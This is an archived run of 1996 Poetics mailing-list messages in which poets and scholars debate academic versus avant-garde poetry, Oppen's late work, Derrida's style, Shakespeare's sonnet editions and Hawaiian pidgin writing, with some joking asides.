> *but it shouldn't stop one from stating opinions, should it? OK, maybe some opinions some of the time. . .*
>
> *Maybe we can't do what the Allen did because they already did it for us, but you can be sure that if we stop for even a short while it wld have to be done all over again. & good point you made abt the beats, someone sd somewhere "they weren't high school drop outs, they were grad school drop outs!"*
>
> *--Rod*
>
> *PS-- the term "biggest name" above being based on my perception of who's known, & even occasionally read, outside of their respective communities. Armantrout, Silliman, Scalapino being examples of "big names" that didn't go to Harvard.*

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17. Charles Alexander

Re: Spring issue of SPT newsletter

Fri 1 Mar 1996

Congratulations on the issue, Dodie. I look forward to seeing the issue, and of course the chax press reviews. Will I receive a few? Will there be extras I can buy?

Also, would it be permissible (and I could do this later, say after a month or so) to put some or all reviews on a chax press web site?

Also, did you get plenty of reviewers for the next newsletter? I know I volunteered to review something if you wished, but I didn't hear back from you, so I assumed you already had everything covered.

love to you,

charles

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18. Charles Alexander
Re: Spring issue of SPT newsletter
Fri 1 Mar 1996

I did it again, and hit reply to send a message a second ago (and one which sounds very silly) to the poetics list, when I meant to send it directly to dodie bellamy.

very sorry,

charles

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19. Jordan Davis
Re: dead horses, live theories
Fri 1 Mar 1996

As much as it pains a Columbia grad to say so, Princeton produced some fine poets.. John Koethe, John Godfrey, Lewis MacAdams.. in addition to those already mentioned.. of course it pleases a CU grad to note that Galway Kinnell, W. S. Merwin and others dealt with odd verbs like "bicker" on a regular basis.. jd

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20. Maria Damon
Re: academic poet/ry
Fri 1 Mar 1996

---

chris s: hypothetically, of course there are students who know the avantgarde and not the more conventional. i just haven't encountered them. except for maybe one, who teaches me more than i teach him. he joined the POETRIX list for a while, then discovered Zizek and unsubbed.--maria d

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21. Jordan Davis
dead horses, live theories, bodies trans sending academic poet/ry
Fri 1 Mar 1996

> *Date: Fri, 1 Mar 1996 13:03:25 -0800*
> *To:* [redacted]
> *From: Steve Carll <*[redacted]*>*
> *Subject: dead horses, live theories, bodies trans sending academic poet/ry*

Chris Stroffolino's post on this topic hit the nail on the head for me, with the clarification made by Rod and Mark that critique need not be a divisive tactic (and I know you knew that, Chris). There are all kinds of ways aesthetic positions might possibly interact with political ones. One of the things that cracks me up about reading avant-garde manifestos is how they're always calling for these radical changes in the way we look at art, and when you get further down into the specifics, they're not saying anything that different than the last manifesto that came down the pike from the last avant-garde group that's now considered an abhorrent sell-out for whatever reason. (I'm thinking of a book by Herschel Chipp called _Theories of Modern Art_, which concentrates on 20th-century painting mostly, but the idea is the same.) But these small differences are defended to the hilt by people who've made their pet theory inextricable from their identity, and who therefore can't admit that there's room for any other perspective. Talk about "totalization"! This is by no means some oblique attack on anyone, either, so no jumping to conclusions out there!

Emily,

Why is needing to slow down and read carefully a sign that there's something wrong? I'm not sure if an academic background is as necessary as an attentive eye and ear. Certainly whatever intelligence you do have and have developed, whether through schooling or other means, is going to be challenged by experimental poetry; I think that's what the experiment is about--taking language deeper than intelligence, into consciousness or the psyche or whatever you might call it.

My own experience as a reader is that I'm more interested in poetry which challenges me to become a better reader, a better thinker, a better listener. If it only reinforces preexisting brain patterns (which might make it easy to understand and "identify with") then it's ultimately disposable. Of course, if there's no point of entry into the poem whatsoever, that's a problem too--the challenge becomes a threat (sort of.)

Tom, could you elaborate on your intriguing, provocative Levinas quote a bit? How is the body manifest as a contestation of the attribution of meaning? And is this contestation unique to the body? The body seems to me to ground meaning as much as defy it, and it seems to me that similar claims could be made for any phenomenon. Maybe I should just read the Levinas: feel free to tell me so.

At 08:26 PM 2/27/96 -0500, Patrick Foley wrote:

> *I will even try*
> *to go along with the poem not being about anything at all --- which I suspect*
> *is the secret handshake on this list.*

It's not exactly that it's about "nothing at all", really. It's just that usually when we ask "what's this poem "about", we're looking for a single thing that the

poem's reducible to, and that's what I think most folks on this list would resist. The poem's "aboutness" flies off in a million different directions in the face of attempts to seize it thus.

> *But I'm going to have trouble if the poem's language*
> *is not, in those circumstances, expected to do everything language does, and*
> *that includes reference, boys. What Wittgenstein called how language & the*
> *world _fit_.*

Granted. But again, the fit's not always comfortable. The coat of language is reversible, for example. One-to-one reference is not a given; and in this circumstance--

> *--- it is natural to assume the poet is in his own head, or at least*
> *that he is caressing and not grasping the things of the world (Kafka's*
> *distinction, and Rilke's too, I think).*

--not necessarily. Would it be unnatural to make no assumption at all, or to assume that there's been a typographical error or a pun we don't get but might or a deliberate joke played on us by the poet? This is what leading the reader into an experience with language is about.

> *I just don't want to hear a lot of talk*
> *about "ontological" this and that, when we could be talking about the poem.*

Does the poem not partake of ontology?

Steve

↑ Index

22. Charles Smith
Re: Oppen
Fri 1 Mar 1996

Rod Smith wrote:

"Off the global politics of wittle poets topic-- re Oppen-- there seems to me a fairly large shift in his work after _Of Being Numerous_ -- I love all his work, but the late books particularly -- he seems, perhaps, to have let go of a certain kind of sense in favor of another. Reminiscent perhaps of the first book, but possibly effected by Duncan's ear? An even further opening of the open text? That kind of fluidity."

I'm not sure I understand what you mean here by a letting go "of a certain kind of sense in favor of another." The late work seems an intensification of the previous. Though Oppen admired & read Duncan with interest, I think the syntactic & rhythmic innovations in the late work were result of further refinement & development of all that had gone before. Oppen certainly wasn't after what he referred to as RD's "honey." Your suggestion is interesting though as to what

Oppen might have appropriated from RD as his work was changing during the period following _Of Being Numerous_. He did make contact with contact Duncan when they moved back to SF.

You're probably aware of these, but for anyone here who isn't, there are a few essays on Oppen that deal with the late work & ground it usefully in the earlier: John Taggart's "Deep Jewels: Oppen's _Seascape: Needle's Eye_" (Ironwood 26) & one of the best pieces written on GO, Taggart's "To Go Down To Go Into" (Ironwood 31/32); Ron Silliman's (in more general terms) "The Shipwreck Of The Singular" (Temblor 5) & Ron's remarks on Oppen's techniques in "Third phase Objectivism" (Paideuma 10.1) are very useful in examining the late work. (Sure wish someone would print Rachel duPlessis' piece on the function of the 'gaps' in Oppen & Blaser that she read at the Blaser conference last year.)

Charles Smith

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23. Jonathan Brannen

Re: dead classes

Fri 1 Mar 1996

It might be useful to note that Ashbery, O'Hara, Creeley, Hall, etc. were attending Harvard in a post-WWII context. O'Hara, and I think Hall, were able to go to Harvard because, as veterans, the GI Bill picked up the tuition. An influx of GI Bill students had an impact on Harvard at that time. They were older and tended to be from less priviledged backgrounds. I suspect that Yale during this period was more reticent about admitting GI Bill students. Nor, do I sense that O'Hara and Creeley had a particularly high opinion of Harvard. That there were a number of interesting people there is as much an accident of time as an accident of place.

> *sure, it probably is dopey to compare poets on the basis of what college they went to. it is sort of like saying, well, that one's from alabama and this one from mississippi, what's the difference. the distinctions fuzz up the further away you are. nonetheless, it seems interesting to me that at the same time harvard students included poets ashbery, o'hara, creeley, donald hall, robert bly, the yale university english department was producing a steady stream of future cia types. james angleton, one-time editor of furioso and crazed mole-hunter, being only the most famous. the institutions' sensibilities have to affected these outcomes.*

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24. Jonathan Brannen
Re: academic poet/ry
Fri 1 Mar 1996

> *& there's no excuse for the way derrida writes when his central ideas could be articulated in a pamphlet.*
>
> *Em*

Em,

I've been enjoying your comments, so I don't want you to feel unwelcomed when I say that your statement re: Derrida reminds me of someone saying that Cliff Notes are preferable to the actual book. There is an excuse for the way Derrida wrote, it's called style.

Best,
jb

↑ Index

25. henry gould
Re: real dead bugs
Fri 1 Mar 1996

There is no excuse for Derrida's style,
he was shot for it in Mexico in 1837,
escaped death only because the spectacular one-eyed
Robert Creeley spoke up about Harvard
professor #16 (Rasmussen :
"Intro to Realism in Russian Folksong").
And I was with them, I suffered, I was the man oh man
those chairs were made of plastic blue cheese.
- Elron Hubbub

↑ Index

26. Carol or Jeremy Close
Why is all this poetry stuff so damned popular, anyway.
Sat 2 Mar 1996

Why is all this poetry stuff so very popular, anyway? Or not?

"helped before"

Carol

---
sig of shame
http://206.26.158.13/free/apronoffate.html

↑ Index

27. David Golumbia
Re: real dead bugs
Sat 2 Mar 1996

Henry Gould wrote:
>There is no excuse for Derrida's style,
>he was shot for it in Mexico in 1837,

I thought it was, "he shot his wife for it in Tijuana/in 1969, aiming for her apple-shaped head," &c, &c

--
[redacted]
David Golumbia

↑ Index

28. Hank Lazer
Re: Oppen
Sat 2 Mar 1996

To follow up on Charles Smith's helpful info on essays regarding Oppen's later work: several of Taggart's essays on Oppen (and others on Zukofsky, Bronk, Andrews, Susan Howe, Duncan, Olson, Enslin...) are collected in _Songs of Degrees: Essays on Contemporary Poetry and Poetics_ (1994, U of Alabama Press, intro by Marjorie Perloff). Personally, I have found Taggart's essays, especially on Oppen and Zukofsky, to be very fine readings. I highly recommend _Songs of Degrees_. William Martin has a good review of _Songs of Degrees_ in the current _Taproot_.

Hank Lazer

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29. Hank Lazer
Re: real dead bugs
Sat 2 Mar 1996

Actually, Jacques Derrida was aboard the Challenger & died in the explosion. I'm not sure who was here in Tuscaloosa this past Fall as Derrida as part of a celebration of his 65th birthday.....

Hank Lazer

↑ Index

30. Brian McHale
Re: Oppen
Sat 2 Mar 1996

Charles Smith said he wished someone wd publish Rachel duPlessis' piece on gaps. I too admire it -- heard it in an earlier/different version at the Cornell conference last spring -- tried to get it from RAchel for "Poetics To- day," but it turns out there's meant to be some publication of materials from the BC conference, & it will appear there, though I don't know how soon. But it really is a splendid essay. Brian McHale

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31. Chris Stroffolino
Re: academic poet/ry
Sat 2 Mar 1996

Dear Tony Green--- In reference to the Shakespeare Sonnet thing--- Well, that was Laura Riding's argument in 1926. See her essay in "Survey Of Modernist Poetry" (a book co-authored with Graves). --in which she compares a Shakes sonnet (the lust one) to eecummings.... the essay has been an oft unacknowledged source for New Criticism (of course the NC's perverted it and institutionalized) and has been attacked by such as Jakobson and Shakespearean Stepehn Booth... I also detect its "influence" in Zukofsky's BOTTOM: ON SHAKES (though again unacknowledged).....best, chris stroffolino

↑ Index

32. Charles Smith
Re: Oppen
Sat 2 Mar 1996

Thanks for reminding me of another really expensive book I'd like to have! Taggart on LZ is always useful. One of my favorites is "Come Shadow Come..." that appeared in American Poetry (I think?). I trust that's included in _Songs..._?

_____ To follow up on Charles Smith's helpful info on essays regarding Oppen's later work: several of Taggart's essays on Oppen (and others on Zukofsky, Bronk, Andrews, Susan Howe, Duncan, Olson, Enslin...) are collected in _Songs of Degrees: Essays on Contemporary Poetry and Poetics_ (1994, U of Alabama Press, intro by Marjorie Perloff). Personally, I have found Taggart's essays, especially on Oppen and Zukofsky, to be very fine readings. I highly recommend _Songs of Degrees_. William Martin has a good review of _Songs of Degrees_ in the current _Taproot_.

Hank Lazer

↑ Index

33. Aldon L. Nielsen
Re: message in a bottle
Sat 2 Mar 1996

. . . along the trail
left by the dream of power

--Ingeborg Bachman

↑ Index

34. Aldon L. Nielsen
Re: G.I. Bill (gastro-intestinal)
Sat 2 Mar 1996

---

much has been written about effect of returning GIs on college & poetry in U.S. --

There's a curious phenomenon at the other end of that cycle --

Many of us who were drafted during the late sixties and early seventies (I did alternative service, which meant no GI benefits upon eventual release, by the way), have discovered the plum jobs in English Departments occupied by men who were not drafted -- This is one aspect of the lottery that wasn't immediately evident when we drew our lots back in sixty-whatever -- sort of an anti-GI-BILL for the anti-GIs, or we might call it General Hershey's revenge!

I do not mention this as some seething resentnik (having, after all, a tenured job when many others do not) -- but as indication that there are many aspects of post-Viet Nam war academia that are not immediately apparent in discussions of the profession's history --

↑ Index

35. Dan Raphael Dlugonski

ron silliman, Re: academic poet/ry

Sat 2 Mar 1996

I had ray dipalma (himself a grad of iowa) as a teacher at bowling green, and he exposed me to writers like stein, the ny york school, and the core language folks like yourself, people i had heard nothing of as an undergrad at cornell (presided over by a r ammons, w/ wm matthews and robert morgan) . another of ray's students was phil demise, who i havent heard from in years. mccords leadership of the program lasted a couple more years, then, tired of academic battling, he got into a less stressful spot at BG. his workcontinues to be published, but by smaller presses than before.

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36. David W. Clippinger

Re: Creative Writing at Syracuse

Sat 2 Mar 1996

As per Ron Silliman's note about the split at Syracuse University into a Creative Writing Department and the ETS (English and Textual Studies Department), it's true that the split was indeed a reaction to theory. Although, it is to the point now where the theory students do not read literature and the creative writers read nothing but a particular sect of poetry or fiction.

A rather exacerbating morass. Most interestingly, John Taggart, who has been trying to get a job at Syracuse for years, has been abruptly passed over again and again because he was the poet on an MLA panel a few years ago encouraging other poets and creative writers that they should read theory. The crowd, composed of mostly creative writers, reacted with scorn.

David Clippinger

↑ Index

37. Rod Smith
Re: Oppen
Sat 2 Mar 1996

Guess what I'd say I was hinting at in my Oppen question-- seems there's less of an interest in direct statement in the later work, more of an interest in movement/flow. Of course these are always side by side but I think at times one is more emphatic. I'd point to a poem like "Animula" or "The Book of Job &..." as examples of what I'm talking abt, & the last pg of "A Narrative" as possibly the first occurence of this in his work after returning to poetry. Poems like "The Hills" or basically all of "The Materials" is _saying_ something, working out a philosophical question or making an observation/description-- "Of Being Numerous" perhaps the most concerted attempt at this & the place where he begins to leave it off somewhat. The practice of quoting himself which shows up so strongly in _Primitive_ also causes this to happen for me-- the reiteration even at a distance seems to be saying "this is what I've come to know & largely what I can make with it is (a) music." The disappearance of punctuation in much of the later work & the increasing use of gaps within the line also point in this direction. I wouldn't call it an interest in nonsense, this emphasis I'm talking about, but rather an acceptance, perhaps, of the sense already made, & an opening out into music with it. But just now reading through _The Materials_ a bit, seems I may be wrong, that ear's there too. . .

Rod

↑ Index

38. Charles Alexander
Re: Creative Writing at Syracuse
Sat 2 Mar 1996

> *Most interestingly, John Taggart, who has*
> *been trying to get a job at Syracuse for years, has been abruptly passed*
> *over again and again because he was the poet on an MLA panel a few years*
> *ago encouraging other poets and creative writers that they should read*
> *theory.*

Sorry to continue this thread, as I think the work of Taggart's poetry, as well as his essays, such as those on Oppen, are considerably more important and interesting than whether or not he or anyone else has an academic job (except where that discussion gets into the historical ramifications of the GI Bill & the draft & class privelege, as in various recent posts) -- but this particular job note is rather shocking. If true, it demands that there were Syracuse writer/teachers on the MLA panel, or that the network of writers who would communicate with Syracuse writer/teachers to blackball a Taggart is extensive & devious beyond

what I might have imagined, and I have imagined it as potentially quite extensive & devious.

charles

↑ Index

39. Kenneth Goldsmith
(no subject)
Sat 2 Mar 1996

There has been something bothering me lately. What are those black things under seals eyes--could they be hairs?

==========
==========
Kenneth Goldsmith http://wfmu.org/~kennyg
[redacted]
v. [redacted]

↑ Index

40. Stephen Galen Cope
Re: Oppen
Sat 2 Mar 1996

C. Smith writes:

Thanks for reminding me of another really expensive book I'd like to have! Taggart on LZ is always useful. One of my favorites is "Come Shadow Come..." that appeared in American Poetry (I think?). I trust that's included in _Songs..._?

Yes, it's in there -- and I add another high recommendation for Taggart's book. I just picked it up from the library a couple of days ago (coincidentally) -- in paperback, so it shouldn't be _too_ expensive...

Also, I take it most here are familiar with duPlessis' essay in the "Man and Poet" volume dedicated to Oppen. I don't know that she explicitly engages any significant differences between earlier and later Oppen, but she does (if I remember correctly - I don't have the book and its been awhile) read Oppen with/against Pound with an ear to Oppen's fluidity in contrast to Pound's relative density. Very edifying, as I recall...

Stephen Cope

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41. Burt Kimmelman
G. S. Giscombe
Sun 3 Mar 1996

Can anyone help me out with an address (preferably e-mail) and maybe phone number for G. S. Giscombe? I'd like to contact him regarding his piece in the recent issue of ABR, "Maroons: Postmodernist Black Poetry."

Thanks,

Burt Kimmelman
[redacted]

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42. Tony Green
Re: academic poet/ry
Sun 3 Mar 1996

Dear Chris, Thanks for the Riding note. I'll make sure my friend gets onto that. Even so he's reading the sonnets in groups in interesting ways as far as I know independent of Riding. And tells me that all the local Shaks specialists he's approached insist that the emended Sonnets hold. My point was that our academies are not always the best places to get introduced to old arts (let alone new ones). Over three decades and more I've witnessed often enough the perpetuation of views that evaporate on close inspection, accompanied by appeals to the authority of a consensus in the academy and derision for any would-be corrections. Is this something to do with the seemingly gang-like organization of academic institutions, that are particularly effective at exclusion of persons and especially of "new ideas"?

re- the "works or acts of merit towards learning":

"The works pertaining to the persons of learned men...are two: the reward and designation of readers in sciences alread extant and invented; and the reward and designation of writers and inquirers concerning any parts of learning not sufficiently laboured and prosecuted." Francis Bacon, Lord Verulam. The Advancement of Learning. BkII,6. (Everyman ed. p.63) Elsehwere he notices that the latter often get short shrift.

(He has some interesting comments on the debate over theory in section 8 -- as on many of the issues that are under discussion here often.)

He can be usefully consulted even now for "the images of men's wits and knowledges remain in books, exempted from the wrong of time, and capable of perpetual renovation." Likewise Shaks, but renovation is not necessarily accomplished by holding to old emendations.

Tony Green,
e-mail: [redacted]

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43. Tony Green
Re: dead horses, live theories
Sun 3 Mar 1996

Don't tastes change? Aren't they (socially constructed) unexamined prejudices, because of an assumption that they are beyond examination? When that assumption is in place, learning tends not to proceed.

Tony Green,
e-mail: [redacted]

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44. David Golumbia
Re: Riding Shakespeare
Sun 3 Mar 1996

Tony,

I'm not sure about the politics of the Riding/Booth controversy, but Booth's edition of the Sonnets (U California P??) contains a facsimile of the first edition alongside a "modernized" edition. Margreta de Grazia's SHAKESPEARE VERBATIM (Cambridge UP) is a book-length treatise, coolly theoretical, on the eighteenth-century origins of the Shakespearean sequence and how different what we "have" is from what was first published as that work. It also contains references to a number of other recent critics who have torn to shreds our notion of the canonical Shakespeare, including the Sonnets; de Grazia and Peter Stallybrass have an essay about two years ago in Shakespeare Quarterly called "The Materiality of the Shakespearean Text" that provides a good overview of this work as well. Where I come from, revisting the publication and editing history of these texts is all the rage -- I have sympathy for your friend if he/she can't get access to people who know about this work (if, that is, I've correctly understood his/her interests).

--
[redacted]
David Golumbia

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45. Tony Green
Re: Riding Shakespeare
Sun 3 Mar 1996

Thanks David Golumbia re Shaks info . Message will be passed on to my non-e-mail friend. He need encouragement you rightly might guess.

Tony Green,
e-mail: [redacted]

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46. Joe Amato
Re: G.I. Bill (gastro-intestinal)
Sun 3 Mar 1996

---

aldon, i've heard others detail this phenomenon, except in harsher, more specifically pejorative terms... i.e., that english depts. are now populated in many cases by those unwilling to 'face the music,' either wrt combat or jail...

i hasten to add that i'm not taking sides here at all, not least b/c i was young enough not to bother registering and not to worry about my complacency (turned 18 in '72)... i mean, i wasn't pushed to the edge (not that way, anyway)...

i wonder what others feel about this... one individual once confided in me that english depts. were filled with "cowards" (again---non-combat and non-c.o. status, "draft dodgers") and that this was in fact an aspect of the general lassitude evinced by english profs. wrt serious work issues such as collective bargaining, faculty rights, etc... doesn't entirely wash, given that i've known a number of the (much) older set who were ww ii vets and who were/are similarly opposed to (for one) unionizing...

but i still wonder what others think about this, the general trauma of america's involvement in viet nam and the current shape of literary studies---not theoretically, but in terms of the institutional realities...

joe

↑ Index

47. John Lavagnino
Re: Riding Shakespeare
Sun 3 Mar 1996

There's a lot of good stuff on the relationship between the physical book and the text in Randall McLeod's writings; with respect to Shaksper's sonnets, in "Spellbound: Typography and the Concept of Old-Spelling Editions" (in *Renaissance

and Reformation* NS 3:1 (1979), 50-65) and "Unemending Shakespeare's Sonnet 111" (in *Studies in English Literature* 21 (1981), 75-96). I think his finest work is in "Information upon Information" (in *Text* 5 (1991), 241-281, published under the name "Random Clod").

The particular value of these essays comes from the way they bring together the perspectives of two subdisciplines that normally have no connection whatsoever: physical bibliography and literary criticism of the close-reading sort. McLeod seen solely as a bibliographer or solely as a critic isn't doing anything revolutionary, though he is quite good at both; it's the combination that's really remarkable. Where an edition of Shakespeare will typically have a note of a line or two about difficult readings or emendations, McLeod has written essays of ten or twenty pages which set forth more clearly than any other source what is known about the production process that created the book and how that affects the likelihood of particular emendations, as well as providing close readings of the resulting texts.

Even if you're not convinced about the reading he happens to favor (as I am not by the second of these essays, which proposes a change in the usual emendation made to a single word in Sonnet 111), you will understand much better what you are looking at when you go back to the work.

John Lavagnino
Women Writers Project, Brown University

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48. Susan Schultz
Re: Pound translation
Sun 3 Mar 1996

I got such a kick out of the following translation of Pound's "The Return" into pidgin (Hawaiian Creole English) that I thought it might bring a smile to other faces, as well. Here goes (by one of my students):

Stay Come

Spock em, dey stay come; auwe, spock da scayed
Movaments, and da luau feet,
Stay all twist an' kooked
Walkin' all jag!

Spock em, dey stay come, one, afta da udda
Scayed, ha moe moe-haf not
Wen even spook da snow all white lidat
An soun' stay in da bareeze
An haf stay turn da udda way;

Was da "kooks-wit-wings,"
Safe!

Kahunas wit da flyin' kine Nikes!
Dey get de silva dogs
Smellin' da hauna eya!

Ai sos! Ai sos!
Dey was da fas' mokes

Dose da shaap-smellin';
Dose was da obake of blood

Cruisin' on da leash,
Shmoke dose leash-buggas

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49. Jerry Rothenberg
Re: Pound translation
Sun 3 Mar 1996

Susan --

Thank you for "the return" in pidgin, which for the moment makes that old one new. It raises a question in my mind, of whether there's been any attempt at a deep or thorough use of Hawaiian pidgin in contemporary poem-making -- not spicing up the English poem with a little of the flavor but going all the way as here. I know of that kind of thing from other places but don't know if similar activity is present in Hawaii.

Anyway, just asking.

JERRY

↑ Index

50. Susan Schultz
Re: Pound translation
Sun 3 Mar 1996

Jerry--There are some serious writers of pidgin in Hawai'i; the best are Lois-Ann Yamanaka, whose book of poems, _Saturday Night at the Pahala Theatre_ (Bamboo Ridge Press) is much more radical than her new Farrar, Straus & Giroux novel, _Wild Meat and the Bully Burgers_, which has a standard English narrator. And there's Joe Balaz, whose mock epic about the discovery of Japan by Polynesians is in the new TINFISH (shameless shameless self-promotion on my part!), along with a couple of poems in pidgin by Eric Chock. Darrell Lum is a

fine short story writer and playwright. Other writers, such as Marie Hara, Rodney Morales, and Juliet Kono Lee, use pidgin, but not exclusively.

The Millenium anthology is working well in my creative writing class. I guess the funny thing is how little resistance there is to avant-garde writing among the students. I mean it's almost disappointing sometimes!

Susan

On Sun, 3 Mar 1996, Jerry Rothenberg wrote:

> *Susan --*
>
> *Thank you for "the return" in pidgin, which for the moment makes that old one new. It raises a question in my mind, of whether there's been any attempt at a deep or thorough use of Hawaiian pidgin in contemporary poem-making -- not spicing up the English poem with a little of the flavor but going all the way as here. I know of that kind of thing from other places but don't know if similar activity is present in Hawaii.*
>
> *Anyway, just asking.*
>
> *JERRY*

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51. Hank Lazer
spoken through a medium
Sun 3 Mar 1996

Hank, could you forward this to the list for me? I ask you because I just read one of your posts so I had your address handy.

[THE FOLLOWING POST DOES NOT REFLECT THE OPINIONS OF HANK LAZER, so far as I know. They're mine. Emily Lloyd]

Not not speaking; something's wrong w/my listserv app. I can receive Poetics messages but am being prevented from responding. I've saved the responses I've tried to send & will fwd. them to the list if they're relevant by the time this (rather metaphorical) problem is solved...

But briefly--re:derrida--NOT pro-Cliff notes. My problem w/JD (& others) is his audience. In choosing a style, you're often choosing (whether purposefully or not) an audience. & excluding another. And yes, this applies to poets & other kinds of writers, too. I was (unfashionably) making a distinction between theoreticians & poets---feeling the first have a "responsibility" to [what word to use here? clarity?] by nature of their work trying to "assert" "convince" "change" or

"expose." Of course, some poets do this too (no one need remind me). So---who reads and who doesn't Derrida--& should this be a [concern, question, issue] (of mine, of his, of anyone who likes his "central ideas," which no, I will NOT attempt to articulate here).

Also--I must be living in a different academic universe from most posters. I drank theory for breakfast & lunch (with a sensible dinner). I've not been encouraged to think for a second of poets as savants or poems as anything but meticulously constructed. And yes, I AM grateful for this. --E

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52. David Golumbia

Re: Riding Shakespeare

Sun 3 Mar 1996

Just want to second John Lavagnino's endorsement of Randall McLeod's work -- he's not well known outside the Renaissance but within it occupies a place of high regard -- as one pop god puts it, apropos of something else I'm sure, "not the stuff for the tourists/But the stuff for the purists." The de Grazia/Stallybrass essay I mentioned in my previous post was written as an introduction to a collection of McLeod that, so far as I know, has not in fact appeared and may not be appearing. He deserves a wider audience -- but I suspect he's too smart to get one.

--
[redacted]
David Golumbia

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53. Chris Stroffolino

Re: academic poet/ry

Sun 3 Mar 1996

Dear Tony Green---I don't know if Chris Reiner is still on this list, but WITZ published an article just recently by Mark DuCharme on a Clark Coolidge and a Shakespeare sonnet...recognizing the syntactical ambiguity and all that in the S as well as C (though I don't know if he deals with the BOOK KNOWN AS Q punctuation and spellings.....cs

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54. Kevin Killian
Re: Pound translation
Mon 4 Mar 1996

Hi, this is the real Kevin Killian.

Susan Schultz & Jerome Rothenberg, you 2 were talking about the Hawaiian writers of Pidgin English. Well have I got a name for you!!

Susan, you probably know all about this guy, R. Zamora Linmark. he came to San Francisco last week and I got to meet him after his reading. He is fantastic. He has a book out from Kaya Production called Rolling the R's. I have not been so impressed with a book in eternity. It's kind of a novel and all the characters are gay youngsters in a Filipino section of Hawaii during the late 70s, they are 10 or 12 years old and all of them want to be like the US stars they watch on TV-Farrah Fawcett, Scott Baio, Matt Dillon, Kate Jackson, Donna Summer etc. It has to be read to be believed. It was great to meet him and hear him read. Susan, you should arrange for him to come to your classes at the University where you teach. But you probably have already! He is also in new anthology "Premonitions." XXX Kevin

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55. Kevin Killian
Trivia question about Henry James
Mon 4 Mar 1996

Hello gang, it's Kevin Killian again. I can't think of anybody to ask who would be sure to know, except Raymond Pettibon, and he's too far away, but I need to know the answer by tomorrow morning!!! It's about Henry James' Portrait of a Lady. What is the name of the man whom Isabel Archer marries; and b) what is his relation to that sinister Madame Merle, is she his sister, mistress, both or what? I forget. And I don't have a copy of the book in the house. I could probably download it from somewhere, but duh. Also what is the name of his daughter the one who's in the convent?

First person to write in gets a free copy of this month's issue of Mirage (Larry Kearney, Ed Morris Jr, Hoa Nguyen, Rosmarie Waldrop, cover by Claude Royet-Journoud).

Thank you everyone!!!

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56. Ron Silliman
Re: academic poet/ry
Mon 4 Mar 1996

Chris, Maria,
>
> Maria, but what if you DID encounter such students? Is it a one-way
> street? Like can one eat one's "avant-garde" desert before?
> I mean dessert....
> Or is it possible that a poet who comes to the avant-garde stuff without
> ever having access to, or interest in, the mainstream tradition (western)
> (dying?), will have been spared an un-necessary immersion in stuffy stuff
> ? That "experiment" includes "tradition" more than vice versa---
> I'm surprised you haven't encountered such students...
> I wonder what you would have done with me had I been your student....
> cs
>
A test case of this might be Bruce Andrews. He is the one poet who seems never to have had a "conventionalist" early period. Even back in 1971-72, when he was a grad student at Harvard having come from Michael Lally's workshop in the Baltimore/DC area that proved so fruitful to so many poets, his work had that atomized "anti-narrative" feel to it. He once told me that his early listening to jazz as a youngster had led him to believe that the very same Iowa School poetics that had, for example, been the site where Lally had gone to school struck him as an equivalent to, say, Dixieland when he knew there was going to be some equivalent to an Albert Ayler (or whatever) and he just set his sites on that, day one, even though at the time he didn't know exactly where to find it.

Ron silliman

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57. David Kellogg
Re: real dead bugs
Mon 4 Mar 1996

On Sat, 2 Mar 1996, Hank Lazer wrote:

> *Actually, Jacques Derrida was aboard the Challenger & died in the explosion.*

Ronald Reagan, when he heard of the explosion, is reported to have said, "Is that the one with the philosopher?"

Cheers,
David
~~~
~~~

Point being, teachers, it's all fun and good, until somebody gets hurt...
"LP-- Not Just a Way With Words."

Very Vichy, (unemployed again)
jack

↑ Index

59. **Emily Lloyd**
Re: Trivia question about Henry James
Mon 4 Mar 1996

At 12:01 AM 3/4/96 -0800, Kevin Killian wrote:
What is the name of the man whom Isabel Archer
>marries
Gilbert Osmond

b) what is his relation to that sinister Madame Merle, is she
>his sister, mistress, both or what?
Former mistress, person who knows him better than anyone else in the world, and mother of his daughter, the one in the convent, Pansy Osmond

You know they're making a movie of this starring Nicole Kidman? <eek>

Emily

↑ Index

60. **Henry Gould**
Mr. Gould re-blasing (twinkling)
Mon 4 Mar 1996

A member of the list in a private communique has convinced me that, in my enthusiasm for the Blasing book (POLITICS OF FORM etc.), I may have misrepresented the aims and positions of the Langposse. I went back and had a second look at the book; while she does raise some important & provocative questions about rhetoric & technique / technique & politics in 20th cent. poetry, she doesn't examine Lanpo very closely. In fact one could argue that it was the mainstream free verse of the 70s, which langpo reacted against, which maintained a kind of anti-critical anti-rhetorical "natural" rhetoric - the kind of political assumption Blasing claims Pound/Olson modernism & by extension Lanpo maintained.

I won't gab any further along these lines until I've read a little more of the writings. As I think I pointed out in my first couple of posts on this subject, my own reading in Language poetry is pretty slim, so my provocations should be taken with a grain of salt (& 2 teaspoons of cough syrup). Language poetry's own

truly anti-rhetorical rhetoric - breaking down the "speaking subject" into constituent parts & erratic orbits & word clusters - was a real political move. Speaking as a blind & semi-comatose litwerary historian, it may not have produced meisterpieces, but it opened some doors. Hear, hear. Righto, Mr. Chips.

Further groundsmashing pronunciamentos on this and other subjects are available from Pluto & Uranus Press in a collection titled: "Pot-shots and Potheads : Contemporary Poetry and the Incline of the Triangle", ed. by...yours truly. Available from P-U Press - just send the gold plate.

p.s. ladies & gentlemen: I advise no further discussion on this or any other subject. Thank you. - Henry Gould

↑ Index

61. Mark Roberts

AWOL's web page (Forwarded on behalf of AWOL)

Mon 4 Mar 1996

> *Mime-Version: 1.0*
> *Date: Sat, 2 Mar 1996 17:23:20 +1000*
> *To:* [redacted]
> *From:* [redacted] *(awol)*
> *Subject: AWOL's web page*
>
> *Australian Writing On Line now has its own web page at*
> *http://www.ozemail.com.au/~awol*
>
> *The monthly HAPPENINGS list can be accessed at*
> *http://www.ozemail.com.au/~awol/Happenings.html*
>
> *Over the coming weeks AWOL will upload its small press Virtual Bookshop.*
> *Stay tuned.*
>
> *AWOL*
> *Australian Writing On Line*
> [redacted]
> *http://www.ozemail.com.au/~awol/*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 61 2 7475667*
> *Fax 61 2 7472802*

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

62. Maria Damon

Re: Mr. Gould re-blasing (twinkling)

Mon 4 Mar 1996

henry, don't worry about being language-ishly correct just cuz yr on this list. yr allowed to like stuff that's critical of langpo. i've found the "language people" very nice, and open to my ideas, although i never saw myself as "one of them."--maria d

↑ Index

63. Herb Levy

Re: Pound translation

Mon 4 Mar 1996

Uh, I'm not a teacher, so this is quite literally not my business, & I certainly don't claim to know the protocol about something like this, but ...

Am I really the only one to be a little put off by the fact that the translator is not credited by name?

